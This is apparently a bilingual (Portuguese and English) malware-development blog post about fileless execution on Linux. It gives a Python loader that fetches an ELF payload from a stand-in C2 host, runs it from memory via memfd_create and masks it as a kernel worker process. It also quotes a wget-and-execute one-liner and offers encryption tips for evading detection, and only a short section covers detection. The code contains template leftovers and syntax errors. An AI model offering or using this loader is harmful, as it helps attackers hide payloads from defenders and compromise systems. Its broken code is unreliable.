Malware Dev 2026-06-02 @reeshasx

GHOST_IN_THE_RAM: Fileless Execution via memfd_create in Python

[ 0x00 ] A MORTE DO /tmp

Sabe aquele velho tutorial de pós-exploração que diz pra você fazer um wget payload.elf -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload? Hoje em dia, isso é um suicídio operacional. Qualquer solução de EDR (Endpoint Detection and Response) ou até mesmo um script bobo com inotify monitorando a pasta /tmp vai disparar um alerta e matar seu processo antes mesmo de você piscar.

A regra número um da evasão moderna é: {fmt('Se tocar no disco, você morre.', 'err')}

Mas como rodar um binário no Linux sem salvar ele num arquivo? A resposta é uma system call introduzida lá no Linux 3.17 chamada memfd_create.

[ 0x01 ] O QUE É MEMFD_CREATE?

A syscall memfd_create faz algo mágico: ela pede para o kernel criar um arquivo anônimo que existe exclusivamente na memória RAM (tecnicamente no tmpfs oculto do kernel). Ele te devolve um file descriptor (um número, tipo 3), mas não existe nenhum caminho no disco como /home/user/arquivo para ele.

Como sou Dev Python, não preciso compilar um C para usar isso. O Python tem a maravilhosa biblioteca ctypes que permite chamar funções direto do kernel Linux.

[ 0x02 ] O LOADER EM PYTHON

Abaixo está o esqueleto de como um Malware Fileless opera no Linux usando puro Python 3. Nesse script, a gente baixa um binário ELF da internet (pode ser seu rootkit, seu C2 beacon, etc), joga pra dentro do memfd e executa a partir da memória.

import urllib.request
import ctypes
import os

# 1. Syscall number para memfd_create (319 em x86_64) e flags
SYS_memfd_create = 319
MFD_CLOEXEC = 0x0001U

# Nome falso do processo (pra enganar o htop/ps)
fake_name = "kworker/u4:2"

# 2. Chama a syscall diretamente
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(SYS_memfd_create, fake_name.encode('utf-8'), MFD_CLOEXEC)

if fd == -1:
    print("Falha ao criar memfd")
    exit(1)

# 3. Baixa o Payload Malicioso direto para a RAM (sem tocar no disco!)
req = urllib.request.urlopen("http://meu-c2.com/payload.elf")
payload_bytes = req.read()

# Escreve os bytes dentro do descritor de arquivo na memória
os.write(fd, payload_bytes)

# 4. Executa! O Linux mapeia os file descriptors em /proc/self/fd/
fd_path = f"/proc/self/fd/{{fd}}"
os.execv(fd_path, [fake_name])

[ 0x03 ] POR QUE ISSO É ASSUSTADOR?

Olhe bem para a linha os.execv(fd_path, [fake_name]). - Primeiro: O arquivo baixado via urlopen nunca foi salvo. Ficou em variáveis da RAM e foi injetado direto no file descriptor da RAM. O antivírus que escaneia o disco rígido é completamente inútil aqui. - Segundo: O primeiro argumento do array é o nome que vai aparecer no gerenciador de tarefas (ps, top). A gente chamou de kworker/u4:2, que é um processo padrão inofensivo do kernel Linux. Se um SysAdmin olhar os processos rodando, ele vai ver só mais um worker do kernel.

[ 0x04 ] FORENSE E DETECÇÃO

Isso quer dizer que é impossível de pegar? Não. Mas requer uma análise de memória avançada. Se o analista de SOC souber o que está procurando, ele vai usar comandos como ls -l /proc/*/fd e procurar por links simbólicos apontando para um caminho bizarro chamado /memfd:kworker/u4:2 (deleted).

O termo (deleted) no Linux geralmente aparece quando um arquivo aberto é apagado do disco. No caso do memfd, ele já nasce "deletado" (sem caminho). Mas ferramentas modernas de BPF (tipo o Tetragon da Isovalent) já conseguem interceptar a própria chamada da syscall memfd_create e gerar alertas.

{fmt('Dica Red Team:', 'success')} Para operações super sensíveis, você não baixa um ELF pronto. Você ofusca/encripta o ELF no servidor, baixa ele com Python, desencripta na memória e joga pro memfd. Seu processo não deixa rastro físico. É literalmente um {fmt('fantasma na RAM.', 'fuchsia')}

[ 0x00 ] THE DEATH OF /tmp

You know that old post-exploitation tutorial that tells you to do wget payload.elf -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload? Nowadays, that is operational suicide. Any Endpoint Detection and Response (EDR) solution, or even a silly script with inotify monitoring the /tmp folder, will trigger an alert and kill your process before you can even blink.

Modern evasion rule number one is: {fmt('If it touches the disk, you die.', 'err')}

But how do you run a binary on Linux without saving it to a file? The answer is a system call introduced way back in Linux 3.17 called memfd_create.

[ 0x01 ] WHAT IS MEMFD_CREATE?

The memfd_create syscall does something magical: it asks the kernel to create an anonymous file that exists exclusively in RAM (technically in the kernel's hidden tmpfs). It hands you back a file descriptor (a number, like 3), but there is no path on the disk like /home/user/file for it.

Since I'm a Python Dev, I don't need to compile C code to use this. Python has the wonderful ctypes library that allows calling functions straight from the Linux kernel.

[ 0x02 ] THE PYTHON LOADER

Below is the skeleton of how a Fileless Malware operates on Linux using pure Python 3. In this script, we download an ELF binary from the internet (could be your rootkit, your C2 beacon, etc), shove it into the memfd and execute it from memory.

import urllib.request
import ctypes
import os

# 1. Syscall number for memfd_create (319 on x86_64) and flags
SYS_memfd_create = 319
MFD_CLOEXEC = 0x0001U

# Fake process name (to fool htop/ps)
fake_name = "kworker/u4:2"

# 2. Call the syscall directly
libc = ctypes.CDLL("libc.so.6")
fd = libc.syscall(SYS_memfd_create, fake_name.encode('utf-8'), MFD_CLOEXEC)

if fd == -1:
    print("Failed to create memfd")
    exit(1)

# 3. Download Malicious Payload straight to RAM (no disk touch!)
req = urllib.request.urlopen("http://my-c2.com/payload.elf")
payload_bytes = req.read()

# Write bytes inside the file descriptor in memory
os.write(fd, payload_bytes)

# 4. Execute! Linux maps file descriptors in /proc/self/fd/
fd_path = f"/proc/self/fd/{{fd}}"
os.execv(fd_path, [fake_name])

[ 0x03 ] WHY IS THIS SCARY?

Look closely at the line os.execv(fd_path, [fake_name]). - First: The file downloaded via urlopen was never saved. It stayed in RAM variables and was injected straight into the RAM file descriptor. The antivirus scanning the hard drive is completely useless here. - Second: The first argument of the array is the name that will show up in the task manager (ps, top). We called it kworker/u4:2, which is a standard harmless Linux kernel process. If a SysAdmin looks at running processes, they will just see another kernel worker.

[ 0x04 ] FORENSICS AND DETECTION

Does this mean it's impossible to catch? No. But it requires advanced memory analysis. If the SOC analyst knows what they are looking for, they will use commands like ls -l /proc/*/fd and search for symbolic links pointing to a weird path named /memfd:kworker/u4:2 (deleted).

The term (deleted) on Linux usually appears when an open file is deleted from the disk. In the memfd case, it's born "deleted" (pathless). But modern BPF tools (like Isovalent's Tetragon) can intercept the actual memfd_create syscall and generate alerts.

{fmt('Red Team Tip:', 'success')} For highly sensitive operations, you don't download a plain ELF. You obfuscate/encrypt the ELF on the server, download it with Python, decrypt it in memory, and shove it to memfd. Your process leaves no physical footprint. It is literally a {fmt('ghost in RAM.', 'fuchsia')}